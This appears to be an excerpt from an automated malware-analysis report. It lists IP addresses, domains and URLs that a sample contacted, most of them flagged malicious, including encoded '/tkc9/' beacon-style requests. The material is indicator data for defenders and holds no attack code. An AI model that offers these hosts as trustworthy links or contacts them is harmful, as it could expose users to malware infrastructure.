IP Domain Country Flag ASN ASN Name Malicious
159.100.14.108
 badai77resmi.net Germany
44066 DE-FIRSTCOLOwwwfirst-colonetDE true
200.58.112.243
 miagronorte.com.ar Argentina
27823 DattateccomAR true
185.151.30.215
 www.sacredcoven.video United Kingdom
48254 TWENTYIGB true
199.59.243.225
 www.gaglianoart.com United States
395082 BODIS-NJUS true

Contacted Domains

Name IP Active
www.sacredcoven.video 185.151.30.215 true
www.gaglianoart.com 199.59.243.225 true
www.bulkfun.top 203.161.46.103 true
badai77resmi.net 159.100.14.108 true
miagronorte.com.ar 200.58.112.243 true
www.blfyazilkd.net unknown unknown
www.prizesupermarket.com unknown unknown
www.badai77resmi.net unknown unknown
www.miagronorte.com.ar unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.gaglianoart.com/tkc9/?841x=vt184X98OtQ0g&_vwlXV=oBKUUw+PclqsYqdEbKEtDVc/KDwoXvBo9DCIQrGFa5weHyD+5aoGXzWKFV94V9YGYodsnZaFejxXMPAHsIU+z85ddO8AZcXSXUhPW2rioxtiyDW4lIg6y/ts8OoE/eZmyRHUaj6EOYJE true
  • Avira URL Cloud: safe
 unknown
http://www.miagronorte.com.ar/tkc9/?841x=vt184X98OtQ0g&_vwlXV=jqPrS3qTJTYQyqmIO2oWpvyY27IGuuAVZrk4CsYV4ggQpJ+Sx5jgDbQO/kTudxVD2P5+GF+5Rpgt0cv3wgHwIeUjeoNPKFTOlZjvghZGk1Gz0fMZGvYjZW3H9aCrqsEs2ZJyz2Rypk9D true
  • Avira URL Cloud: safe
 unknown
http://www.gaglianoart.com/tkc9/ true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.sacredcoven.video/tkc9/?_vwlXV=YCrPnyMK6N0xyWsUxbMCVm51Kr/VqTP9Vc/bNERWwPWSWPqcFUgEexJj0TZSGRta9epkHr3byMGCsT7E2VhvMhjbiZjKxfqWasqVt4+J8b4ItYUw6rfNer58xbkW0yWLnZZ/5+MZPYqk&841x=vt184X98OtQ0g true
  • Avira URL Cloud: safe
 unknown
http://www.miagronorte.com.ar/tkc9/ true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.sacredcoven.video/tkc9/ true
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown